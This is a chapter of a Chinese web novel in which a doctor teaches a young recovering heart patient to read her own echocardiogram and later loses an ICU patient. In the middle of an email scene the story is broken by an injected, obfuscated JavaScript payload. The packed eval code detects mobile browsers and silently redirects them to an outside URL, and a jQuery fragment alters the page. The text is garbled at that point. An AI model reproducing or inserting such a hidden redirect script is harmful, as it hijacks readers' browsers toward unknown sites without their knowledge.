8. 教与学
作品:《Beacon灯塔之下》 半年复查的那次,安东尼答应教佐伊看心超图。
夏季过去了,凉爽的十月天气晴好,佐伊提前十分钟到了。她穿了一件浅蓝色的卫衣,头发比之前又长了些,扎成一个小马尾。她走路的时候有一点颠脚,整个人有一点儿上下起伏,连带着马尾辫一晃一晃的。
安东尼在影像中心等着了。麦克斯主任也在——他不需要盯着情况良好的病人做复查,但听说安东尼要“上课”,就特意留了下来,坐在技术老师身边能看见显示屏的椅子上,一副看热闹的表情。
“去吧,今天你自己是‘病例’”,安东尼语气里带了一点点笑意。
佐伊脱掉外套和卫衣,只穿着一件小背心,自己爬上检查床,躺好。胸口那道疤痕已经淡了很多,从鲜红变成浅粉色,边缘泛着白,像一条安静的线。
B超操作技师是个三十来岁的女人,叫艾米丽,心超室的老手了。她挤了耦合剂在探头上,走过来,准备往佐伊胸口涂。
佐伊忽然举起手。
艾米丽愣了一下,以为孩子不舒服:“怎么了?”
“我可以自己先说一下看到了什么吗?”佐伊眨了眨眼,看着头顶的显示屏,“然后你们来纠正我说得对不对。”
艾米丽看了麦克斯一眼。麦克斯挑了挑眉毛,没说话,但脸上的笑意更浓了。艾米丽又转头看向安东尼,神情里有点迷茫,不过安东尼点点头,“没事的艾米丽,你就当教学常场。她说,你操作。”
“行。”艾米丽把探头伸过去,“你来说,我做。”
佐伊顿了顿,像是在整理思路,“先看胸骨旁左室长轴。右心室在左边,左心室在右边,中间是室间隔。主动脉在前,左心房在后,二尖瓣连着左室。”
艾米丽把探头放在她胸口,调整了一下角度,屏幕上出现那个标准的切面。
佐伊盯着屏幕,继续说:“室间隔修补的地方在这里,看起来是完整的,没有残余分流。”
她顿了顿,指了指屏幕上的一个区域:“这个是右心室流出道吗?麦克斯医生说我的肺动脉瓣目前正常,这里应该没有狭窄。”
艾米丽看了安东尼一眼,安东尼点点头。
“对,”艾米丽说,“流出道是通的,流速正常。”
佐伊嗯了一声,继续往下说:“然后看四腔心。四个腔室的大小比例应该是……左室比右室大一点,心房也是。”
艾米丽把探头转了个角度,四腔心的切面出现在屏幕上。
佐伊盯着看了一会儿,眉头微微皱起来。
“这个,”她指着屏幕上一小块彩色的区域,“这个是反流吗?颜色不太对,我看不太出来。”
安东尼走到屏幕前,指了指那个位置:“这是三尖瓣的微量反流,正常人也会有,不影响。”
佐伊点点头,继续往下说。她一路把标准切面说了个遍——心底短轴、二尖瓣水平短轴、□□肌水平短轴,说到这里的时候她卡了一下,安东尼稍稍提醒了。
然后是心尖四腔、心尖两腔、心尖三腔。有些切面她记得不太清楚,就停下来想一想,然后继续往下说——这种想不起来,完全因为她对专业词的发音不够熟,而不是真的不记得那是什么。安东尼能听出来,他自己十几岁刚刚开始背这些内容的时候,也是这个样子。
说到最后,她看着屏幕上那堆彩色的多普勒信号,皱了皱眉。
“这个我看不太懂。”她老实承认,“我知道蓝色是血流离开探头,红色是流向探头,但是这些乱七八糟的颜色混在一起,我就分不清了。”
安东尼走到她身边,指着屏幕上的图像开始讲。从多普勒的原理讲起,讲到怎么区分层流和湍流,怎么判断反流的严重程度,怎么看跨瓣压差。他讲了大概十五分钟,偶尔停下来,让佐伊看一眼屏幕,确认她看懂了再继续。
佐伊一直听着,偶尔点点头。
讲完的时候,安东尼低头看她:“懂了多少?”
佐伊想了想:“大概百分之六十。”
“剩下的呢?”安东尼笑了一下,他自己心里是觉得,这小家伙给自己打分打得还挺严。
“再回去看看资料,下次问你。”
角落里的麦克斯站起来,走到床边,低头看着佐伊:“你这小家伙,整个Beacon Care都快认识你了。长大点来当我学生吧,我收你。”
佐伊眨了眨眼,认真地问:“那我能同时跟安东尼学吗?”
麦克斯愣了一下,然后哈哈大笑:“行,一人带一半。”
——
那天晚上,安东尼收到一封邮件。
发件人:
主题:Re: Re:Thank you
Dr. Anthony,
我今天很高兴。谢谢您。
另外,您今天讲的多普勒原理,我查了一下资料,有一点不明白。为什么层流是那种频谱,湍流是那种?我画了个图,附件里,不知道对不对。
ZP.
安东尼打开附件,是一张手绘的图,手机拍的照,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401650|200420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光线不是很好,有点糊。上面画着两条线,一条平滑的,一条乱的,旁边用歪歪扭扭的字标着:层流、湍流。图下面还有一行小字:我画得不太像,但意思是这个意思。
他看了一会儿,然后回:
层流是血流速度一致,所以频谱窄、整齐。湍流是速度不一致,有快有慢,所以频谱宽、乱。你画的意思是对的。
A.
佐伊大概守在电脑边上,秒回了安东尼的邮件:
Dr. Anthony,
谢谢!此外下个月的查房安排?
ZP.
安东尼把值班表翻出来,圈好了自己预计能够出席的日子。回了过去。
——
十一月的第一周,气温骤降。安东尼有一次带佐伊查房的时候觉得她好像跟的有点累,那天走完了,便叮嘱她注意休息。
“后面一周天我轮休,你自己乖乖在疗养院那边呆着不要乱跑。”安东尼给佐伊捏了捏口罩鼻梁上的金属条,“回去吧,走慢点。”
佐伊点了点头,蹦蹦跶跶的走了。
那天晚上,安东尼电影刚刚看了个开头,就被ICU值班主治拉到病房加个班。
是一个肺栓塞的危重,家属非常支持,患者一般情况也挺好,四十七岁的女性,年纪不大,没什么基础病。安东尼亲自和家属谈了两轮,自己亲自守了一天一夜,能上的都上了,结果还是没留住。
患者刚刚成年的女儿在电梯边哭成了泪人,另外还有个叛逆期的儿子,在边上骂天骂地骂医生,当丈夫的坐在休息椅子上,神情木然。社工坐在边上劝。安东尼叹了口气,他知道这种程度的心理干预,也只能说是聊胜于无。生活还是要继续的,他转身回办公室填死亡证明——他作为主任入院的时候,医务处发了一沓。
一般来说,一沓纸就是半年的份,如果用完了,就再去申请。
作为Last Station,每个住院医都会拿到这样一叠纸,唯一的区别就是,有些科室用得快些,有些科用得慢些。像ICU这种科室,遇到运气不好的时候,部门内勤可能三个月就要跑一趟。
等安东尼意识到已经三天没收到佐伊邮件的时候,他自己应有的假期也过完一半了。他交了班,准备回去休息,同时还惦记着买点东西,公寓冰箱里存货不多了,此外,快要到佐伊的生日了。
去年这时候,小家伙还在生死线上挣扎,今年,已经天天跟在住院医的屁股后面“唯恐天下不乱”得举手了,尤其这几个月,越发语不惊人死不休,愿意给她发PPT课件的主任,数一数已经超过了两只手。
安东尼先回公寓洗了个澡,吃了顿饭,然后拿上车钥匙准备去城郊。

